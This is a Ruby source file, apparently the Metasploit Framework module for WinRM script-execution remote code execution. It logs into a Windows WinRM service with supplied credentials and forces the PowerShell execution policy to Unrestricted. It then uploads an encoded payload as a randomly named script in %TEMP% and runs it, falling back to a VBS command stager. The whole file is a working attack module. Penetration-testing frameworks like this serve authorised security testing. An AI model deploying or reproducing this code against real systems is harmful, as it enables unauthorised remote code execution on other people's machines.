metasploit-framework/modules/exploits/windows/winrm/winrm_script_exec.rb

243 lines
7.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRM Script Exec Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
that method. Otherwise it falls back to the VBS CmdStager which is
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
you MUST select an x64 payload. An x86 payload will never return.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_sleep")
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2012'
))
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
@compat_mode = false
end
def exploit
unless valid_login?
print_error "Login Failure. Recheck your credentials"
return
end
if powershell2?
path = upload_script
return if path.nil?
exec_script(path)
else
execute_cmdstager({:flavor => :vbs})
end
handler
end
def execute_command(cmd,opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? "cscript"
streams = winrm_run_cmd_hanging(command)
print_status streams.inspect
elsif command.include? "del %TEMP%"
next
else
winrm_run_cmd(command)
end
end
end
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
#add a sleep to the script to give us enoguh time to establish a session
script << "\n Start-Sleep -s 600"
script.each_line do |psline|
#build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
streams = winrm_run_cmd(cmd)
end
return path
end
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "#{@invoke_powershell} -File #{path}"
winrm_run_cmd_hanging(cmd)
end
def encoded_psh(script)
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
end
def temp_dir
print_status "Grabbing %TEMP%"
resp = send_winrm_request(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
return nil
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp = send_winrm_request(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return ARCH_X86 if resp.nil? or resp.code != 200
resp_tbl = parse_wql_response(resp)
addr_width = resp_tbl.rows.flatten[0]
if addr_width == '64'
return ARCH_X64
else
return ARCH_X86
end
end
def correct_payload_arch?
@target_arch = check_remote_arch
case @target_arch
when ARCH_X64
if datastore['PAYLOAD'].include?(ARCH_X86)
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
@compat_mode = true
return false
end
when ARCH_X86
if datastore['PAYLOAD'].include?(ARCH_X64)
print_error "you selected an x64 payload for an x86 target"
return false
end
end
return true
end
def powershell2?
if datastore['FORCE_VBS']
print_status "User selected the FORCE_VBS option"
return false
end
print_status "checking for Powershell 2.0"
streams = winrm_run_cmd("powershell Get-Host")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
if streams['stderr'].include? "not recognized"
print_error "Powershell is not installed"
return false
end
streams['stdout'].each_line do |line|
next unless line.start_with? "Version"
major_version = line.match(/\d(?=\.)/)[0]
if major_version == "1"
print_error "The target is running an older version of powershell"
return false
end
end
return false unless correct_payload_arch? or @target_arch == ARCH_X64
if @compat_mode == true
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
else
@invoke_powershell = "powershell"
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true
end
return false
end
def valid_login?
data = winrm_wql_msg("Select Name,Status from Win32_Service")
resp = send_winrm_request(data)
unless resp.code == 200
return false
end
return true
end
end